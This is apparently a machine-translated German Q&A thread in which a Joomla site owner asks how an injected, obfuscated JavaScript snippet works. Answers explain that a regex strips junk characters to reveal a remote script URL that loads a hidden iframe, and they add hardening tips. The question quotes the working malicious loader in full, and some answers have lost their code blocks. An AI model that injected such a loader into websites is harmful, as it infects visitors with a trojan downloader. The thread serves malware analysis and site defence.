Mein Joomla! Website wurde wiederholt gehackt. Jemand hat es irgendwie geschafft, den folgenden Müll in die wichtigsten PHP-Skripte zu injizieren, aber ich möchte nicht über die Konfiguration von Joomla sprechen. Die Site wird nicht oft besucht (manchmal befürchte ich, dass ich der einzige Besucher dieser Site sein könnte ...) und es ist mir egal, ob die Site wieder betriebsbereit ist. Ich werde das irgendwann erledigen.
Meine Frage ist, wie funktioniert dieser Müll? Ich schaue es mir an und sehe nur nicht, wie das schadet? Es wird versucht, eine PDF-Datei namens ChangeLog.pdf herunterzuladen, die mit einem Trojaner infiziert ist und nach dem Öffnen Ihren Acrobat einfriert und auf Ihrem Computer Chaos anrichtet. Wie macht das das? Ich weiß nicht, es ist mir egal. Aber wie ruft das folgende Skript den Download auf?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ESET hat diesen Code als JS / TrojanDownloader.Agent.NRO-Trojaner erkannt
quelle
Antworten:
Beachten Sie den
replace
Aufruf nach der riesigen unordentlichen Zeichenfolge :.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
.Die meisten Sonderzeichen werden entfernt und in eine normale URL umgewandelt:
(I geändert manuell
http:
zuevil:
)Beachten Sie, dass die Regex vereinfacht worden sein könnte
.replace(/[#$@^&()!]/ig, '')
Wenn Sie sich das Skript ansehen, werden Sie feststellen, dass es sich um ein sehr einfaches Skript handelt, das einen versteckten IFRAME mit dem Pfad einfügt
/index.php?ys
aus derselben Domäne enthält.Ich habe diese Seite in Fiddler angefordert und sie hatte keinen Inhalt.
quelle
+
After-the-Character-Klasse verwenden ... wenn ich Regex verwende.Diese Antworten können Ihnen helfen, die Natur des schädlichen JavaScript-Codes zu verstehen. Sie sollten jedoch nach einer Möglichkeit suchen, die Lücke in der Joomla-Engine zu schließen. Vorgefertigte Frameworks neigen zu absichtlichen oder unbeabsichtigten Lücken, insbesondere wenn Sie berücksichtigen, dass sie für Unix-, Mac- und Windows-Umgebungen entwickelt wurden.
Meine Arbeit erfordert, dass ich viele Domänen, Anwendungen und Frameworks auf vielen Arten von Servern und Systemen für Clients und mich selbst ausführe. Im Laufe der Zeit habe ich immer mehr Bots gesehen, die diese Systeme nach bekannten Schlupflöchern / Eingängen über Hintertür-Eingänge durchsucht haben, die durch diese Frameworks erstellt wurden. Gut, wenn ich irgendeine Art von Framework verwende, was ich selten mache, stelle ich sicher, dass ich die meisten, wenn nicht die gesamte Dateistruktur umbenenne, um mich von diesen lästigen Lücken / Hintertüren zu befreien. Zumindest können Sie Verzeichnisse umbenennen, was die meisten Bots auslöst. Mein Weg besteht jedoch darin, Verweise, die Hinweise auf die Art des Frameworks geben, vollständig zu entfernen. Dazu gehört auch das Umbenennen der gesamten Dateistruktur, nicht nur von Verzeichnissen. Behalten Sie immer eine Karte der neuen Namenskonventionen im Verhältnis zu den alten Namenskonventionen bei, damit das Hinzufügen von Plug-Ins zu Ihrem Basisframework zum Kinderspiel wird. Sobald Sie den Dreh raus haben, können Sie die gesamte Framework-Dateistruktur programmgesteuert umbenennen, um schnellere Ergebnisse zu erzielen. Dies ist besonders nützlich, wenn Sie sich mit Clients befassen müssen, die in der Lage sein müssen, ihr Framework mit Plug-Ins und dergleichen zu aktualisieren.
quelle
Es wird lediglich ein regulärer Ausdruck in der Skript-URL ersetzt
HINWEIS: FOLGEN SIE NICHT DEM UNTEN LINK (eingefügt
**
, um die Kopierpaster abzuschrecken)als die
src
quelle
Es verwendet die Ersetzungsfunktion, um die Müllzeichen durch Regex zu ersetzen, nichts falsch mit dem Code:
quelle
Sein Ladeskript von
Und dieses Skript wird
iframe
mit Sichtbarkeit geladenhidden
quelle
Wenn Sie das Ganze lesen, stellen Sie fest, dass es sich um eine Zeichenfolge handelt, gefolgt von einem Ersetzungsbefehl.
quelle
Ich habe das gleiche Skript auf meinen Seiten in Index *. * -Dateien. Ich schreibe meinen eigenen Code in PHP. Meine Frage ist nicht, wie das funktioniert, aber ich frage, wie man schützt, wenn man die Hintertüren kennt. Ich habe die Formulare geändert und $ _POST und $ _GET gelesen, indem ich <> und http: // usw. ersetzt habe.
quelle
Meine zwei Cent. Haben / können Sie ein Joomla-Backup-Tool wie Joomlapack installieren?
Ich habe es so eingestellt, dass es über ein CHRON-Skript ausgeführt wird, um die Waren griffbereit zu halten, falls die Mugger zum Überfallen kommen.
Welche Version von Joomla verwenden Sie?
1.0.X-Versionen werden nicht mehr aktualisiert und das Alter beginnt sich wirklich zu zeigen. Sie sind es sich selbst schuldig, ein Backup zu erstellen und ein Upgrade auf 1.5 zu planen und die Wunder von 1.6 vorwegzunehmen
quelle